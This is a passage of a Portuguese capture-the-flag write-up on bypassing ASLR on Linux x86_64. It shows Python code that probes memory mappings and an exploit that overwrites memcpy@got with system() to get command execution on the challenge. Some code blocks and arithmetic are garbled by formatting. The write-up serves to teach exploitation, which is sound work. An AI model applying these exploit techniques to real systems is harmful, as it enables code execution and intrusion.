    isMapped = (isAddrMapped(leakAddr, 1000 + j))
    j -= 1

Neste ponto, temos leakAddr que é um endereço mapeado como este: 0x7fXX00000000, neste caso, leakAddr = 0x7fe300000000.

Agora, se quisermos seguir a técnica do saelo, devemos fazer uma busca binária no intervalo 0x7fXX00000000 - 0x7fXXffffffff, a fim de encontrar os limites inferior e superior; o problema é que existem algumas lacunas nesse intervalo, então a busca binária falha muitas vezes.

Você pode verificar por si mesmo com este script:``` RANGE SIZE

0x00007f7544000000 - 0x00007f763c000000 0xf8000000 SMALL GAP 0x00caa000 0x00007f763ccaa000 - 0x00007f763e358000 0x016ae000

root@kitploit:~
Essa pequena lacuna entre 0x00007f763c000000 e 0x00007f763ccaa000 atrapalha a busca binária, claro que ainda é viável, mas encontrei um caminho mais fácil.

### Observação

Queremos obter o último endereço mapeado, porque é onde as bibliotecas são mapeadas.

Por exemplo, dados esses mapeamentos para as bibliotecas:```
7fe3d6a1e000-7fe3d6a1f000 r--p 00000000 fe:01 1445947                    /challenge/libkylezip.so
7fe3d6a1f000-7fe3d6a20000 r-xp 00001000 fe:01 1445947                    /challenge/libkylezip.so
7fe3d6a20000-7fe3d6a21000 r--p 00002000 fe:01 1445947                    /challenge/libkylezip.so
7fe3d6a21000-7fe3d6a22000 r--p 00002000 fe:01 1445947                    /challenge/libkylezip.so
7fe3d6a22000-7fe3d6a23000 rw-p 00003000 fe:01 1445947                    /challenge/libkylezip.so
7fe3d6a23000-7fe3d6a25000 rw-p 00000000 00:00 0
7fe3d6a25000-7fe3d6a26000 r--p 00000000 fe:01 2761539                    /lib/x86_64-linux-gnu/ld-2.33.so
7fe3d6a26000-7fe3d6a4d000 r-xp 00001000 fe:01 2761539                    /lib/x86_64-linux-gnu/ld-2.33.so
7fe3d6a4d000-7fe3d6a57000 r--p 00028000 fe:01 2761539                    /lib/x86_64-linux-gnu/ld-2.33.so
7fe3d6a57000-7fe3d6a59000 r--p 00031000 fe:01 2761539                    /lib/x86_64-linux-gnu/ld-2.33.so
7fe3d6a59000-7fe3d6a5b000 rw-p 00033000 fe:01 2761539                    /lib/x86_64-linux-gnu/ld-2.33.so

Podemos procurar o endereço 7fe3d6a5b000 - 0x1000 com este truque:

endereçoestá mapeado?
0x7fe3f0000000Não
0x7fe3e0000000Não
0x7fe3d0000000Sim
0x7fe3df000000Não
0x7fe3de000000Não
0x7fe3dd000000Não
0x7fe3dc000000Não
0x7fe3db000000Não
0x7fe3da000000Não
0x7fe3d9000000Não
0x7fe3d8000000Não
0x7fe3d7000000Não
0x7fe3d6000000Sim
0x7fe3d6f00000Não
0x7fe3d6e00000Não
0x7fe3d6d00000Não
0x7fe3d6c00000Não
0x7fe3d6b00000Não
0x7fe3d6a00000Sim
0x7fe3d6af0000Não
0x7fe3d6ae0000Não
0x7fe3d6ad0000Não
0x7fe3d6ac0000Não
0x7fe3d6ab0000Não
0x7fe3d6aa0000Não
0x7fe3d6a90000Não
0x7fe3d6a80000Não
0x7fe3d6a70000Não
0x7fe3d6a60000Não
0x7fe3d6a50000Sim
0x7fe3d6a5f000Não
0x7fe3d6a5e000Não
0x7fe3d6a5d000Não
0x7fe3d6a5c000Não
0x7fe3d6a5b000Não
0x7fe3d6a5a000Sim

lastMappedPage = 0x7fe3d6a5a000

Estamos fazendo brute force de meio byte por vez, para um pior cenário de 165 = 80 consultas.```py def linearFindLargest(base, increment, idstart): for i in range(0, 16)[::-1]: print (f"{base + incrementi:#x}", end='\t|\t') if isAddrMapped(base + incrementi, idstart+i): print ('Yes') return iincrement print ('No') raise Exception("linearFindLargest should not fail")

Find upper bound, we can't do a binary search because there are some holes which

screw things up

lastMappedPage = leakAddr lastMappedPage += linearFindLargest(lastMappedPage, 0x10000000, 40000) lastMappedPage += linearFindLargest(lastMappedPage, 0x1000000, 40100) lastMappedPage += linearFindLargest(lastMappedPage, 0x100000, 40200) lastMappedPage += linearFindLargest(lastMappedPage, 0x10000, 40300) lastMappedPage += linearFindLargest(lastMappedPage, 0x1000, 40400) print (f"{lastMappedPage = :#x}")

root@kitploit:~
## 4.6 O exploit

Finalmente, sabemos tudo o que precisamos sobre os mapeamentos de memória; agora é apenas uma questão de aproveitar uma primitiva write what where para execução de código.

Para obter execução de código, sobrescrevi a entrada memcpy@got do libkyle.so com system@libc.

### Obter a base do libkyle
Para nossa sorte, a base da libc e a base do libkyle.so estão em um offset constante a partir de lastMappedPage; eu não sabia que esse era o caso, então escrevi um egghunter que procura por `\x7fELF` \(Cabeçalho de executáveis ELF\), que no final não foi útil.```py
    # Scan backwards looking for b'\x7fELF'
    i = 0
    numElf = 0

    while numElf != 2:
        theAddr = lastMappedPage-0x1000*i
        hdr = readFromAddr(theAddr, 4, 40500+i)
        print(f"{i:02d}) Elf in {theAddr:#x}? {hdr.hex()}")
        if hdr == b'\x7fELF':
            numElf += 1
            print (f"found elf at {theAddr:#x}")

        if i > 70:
            print ("Exploit failed, upper bound address was wrong")
            exit(1)

        i += 1

Sobrescrever memcpy@got da libkyle e obter RCE

Felizmente, sobrescrever memcpy@got com system foi suficiente para obter a flag e reivindicar essa suculenta recompensa :)```py # exp is a CompressedFile which: # - writes libc.system to memcpy_got # - calls memcpy(cmd, 0, 0) -> system(cmd) cmd = b"ls;cat flag.txt;\x00" exp = CompressedFile(24)

root@kitploit:~
exp.seek((memcpy_got - OUT_ADDR)&M64)
# out=memcpy_got
for b in p64(libc.symbols['system']):
    exp.write(bytes([b]))
# out=memcpy_got+8
# memcpy(out, out-off, size)
# system(out)

in_addr_off = len(exp.content)
exp.content += cmd
exp.seek((IN_ADDR + in_addr_off - (memcpy_got + 8))&M64)
exp.memcpy(0, 0) # system(cmd)

uploadFile(exp.content, 123001)
# profit
getFile(123001)
root@kitploit:~
## 4.7 A flag!

Você pode encontrar o exploit [aqui](https://github.com/nick0ve/how-to-bypass-aslr-on-linux-x86_64/blob/main/resources/x.py).

<p align="center"><img src="https://assets.kitploit.com/production/public/readmes/48660/fbf98cc42c41c4487283d3545ab1f451ddcac7f1c6210e3d211ff5e04f63fef0.png"></p><br/>

Há também uma versão 100% confiável do exploit [aqui](https://github.com/nick0ve/how-to-bypass-aslr-on-linux-x86_64/blob/main/resources/reliable_exploit.py).

## 5. Conclusão

Espero que tenha gostado do writeup; se algo não ficou claro o suficiente, não hesite em me contatar [@nick0ve](https://twitter.com/nick0ve) :)
Baixar ferramenta